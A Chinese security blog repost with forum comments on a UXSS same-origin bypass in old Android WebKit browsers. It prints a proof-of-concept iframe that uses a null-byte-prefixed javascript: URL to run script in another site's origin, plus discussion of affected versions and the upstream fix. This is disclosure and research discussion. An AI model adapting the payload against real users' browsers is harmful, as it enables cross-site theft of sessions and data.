安卓浏览器SOP绕过漏洞(UXSS)

  • A+
所属分类:移动安全

from:http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html 

POC:http://x55.me/cpframe0002.htm 

<iframe name="m" src="http://zone.wooyun.org" onload="window.open('\u0000javascript:alert(document.location)','m')" >

安卓浏览器SOP绕过漏洞(UXSS) 


测试于安卓4.2.2和4.0.4

==================

下面好多乌云

1#超威蓝猫 | 2014-09-01 12:59

屌炸

 

2#px1624 | 2014-09-01 13:06

??啥意思? \u0000 这个技巧不是PC浏览器也可以么

 

3#LaiX | 2014-09-01 13:11

@mramydnei 公开了啊 ,。,。,

 

4#phith0n | 2014-09-01 13:20

@LaiX http://parsec.me/660.html

 

5#pangshenjie | 2014-09-01 13:22

福~

 

6#xsser | 2014-09-01 13:30

我擦咧 跨到本地啊啊啊啊

 

7#Chu | 2014-09-01 14:38

赞啊

 

8#么么哒 | 2014-09-01 15:25

么么哒

 

9#疯狗 | 2014-09-01 15:41

千里迢迢跑来给你颁发勋章

 

10#0x0F | 2014-09-01 15:47

@疯狗 原来转载也有TAT

 

11#么么哒 | 2014-09-01 16:18

应该是webkit内核原因,目测能影响kitkat以下版本

 

12#Smilent | 2014-09-01 17:12

福利

 

13#孤零落叶寒 | 2014-09-01 17:14

好流弊

 

14#adm1n | 2014-09-01 17:58

 

15#香草 | 2014-09-02 10:14

这是严重的跨越漏洞啊,在wooyun.org域上执行的?

 

16#xssing | 2014-09-02 10:43

UXSS,叼

 

17#scanf | 2014-09-02 11:02

弹弹弹

 

18#1c3z | 2014-09-02 11:42

叼叼叼!!!

 

19#rayh4c | 2014-09-02 12:09

这是webkit核的UXSS漏洞,影响4.3以下的系统,在系统中使用系统自带的webview组件都会受漏洞影响,包括系统自带浏览器,目前只能够自编译浏览器内核才能解决问题。

- -!这个本来是我要在乌云峰会上讲一部分内容。

参考: https://code.google.com/p/chromium/issues/detail?id=37383

 

20#xsser | 2014-09-02 12:14

楼上的跨到本地吧

 

21#么么哒 | 2014-09-02 12:16

@rayh4c 茄子牛貌似要讲的都被流传开了,是不是还有藏货呀?

 

22#rayh4c | 2014-09-02 12:16

@xsser 我要讲防 嘎嘎

 

23#rayh4c | 2014-09-02 12:21

@么么哒 去年就流传开 WEBKIT公开的UXSS太多了 UXSS这个问题 只是我要讲的多个问题中的1个

 

24#xsser | 2014-09-02 12:23

@rayh4c 坐等不牛逼不舒服斯基

 

25#Allmylife | 2014-09-02 17:52

@mramydnei

貌似无法加载外部js,也不能跳转。

 

26#mramydnei | 2014-09-02 18:46

@rayh4c 是跑POC跑出来的。虽然和 https://code.google.com/p/chromium/issues/detail?id=37383是一摸一样的问题,但CVE编号好像是独立的。

 

27#rayh4c | 2014-09-02 19:06

@mramydnei 这个漏洞我去年就发现了,应该不是发现,是测出来了。本来想在乌云峰会上讲一下webview神坑中的1个。

漏洞详情:https://code.google.com/p/chromium/issues/detail?id=37383

这个漏洞是2010年发布的一个webkit核的UXSS漏洞,发现这个漏洞后,webkit的官方测试网页中还包含了这个漏洞review测试用例:

http://src.chromium.org/viewvc/chrome/branches/WebKit/249/LayoutTests/http/tests/security/xss-DENIED-window-open-javascript-url-leading-format-char.html

源代码

http://src.chromium.org/viewvc/chrome/branches/WebKit/249/WebCore/platform/KURLGoogle.cpp?r1=41244&r2=41243&pathrev=41244

GOOGLE是对URL地址进行了检查,去掉了\u0000javascript:协议地址的空字符。

bool protocolIs(const String& url, const char* protocol)

{

// Do the comparison without making a new string object.

//970  

assertProtocolIsGood(protocol);

// Check the scheme like GURL does.

return url_util::FindAndCompareScheme(url.characters(), url.length(),protocol, NULL);

}

安卓4.3-4.1系统用的webkit核的protocolIs函数也是修过漏洞的,但是仍然绕过了Cross-Origin protection,这里是个大神坑。

https://android.googlesource.com/platform/external/webkit/+/android-4.3_r3/Source/WebCore/platform/KURLGoogle.cpp

https://android.googlesource.com/platform/external/webkit/+/android-4.1.2_r2.1/Source/WebCore/platform/KURLGoogle.cpp

 

28#么么哒 | 2014-09-02 19:07

@rayh4c 好屌~

 

29#么么哒 | 2014-09-03 10:30

@rayh4c https://android.googlesource.com/platform/external/webkit/+/android-4.3_r3/Source/WebCore/platform/KURLGoogle.cpp

https://android.googlesource.com/platform/external/webkit/+/android-4.1.2_r2.1/Source/WebCore/platform/KURLGoogle.cpp

这个两个文件完全一样呀。。。

 

30#么么哒 | 2014-09-03 10:33

@rayh4c 额,我错了,这两个版本都受影响的

 

31#回复此人 | 2014-09-03 19:07

@rayh4c 公开的都有哪些呢??


  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: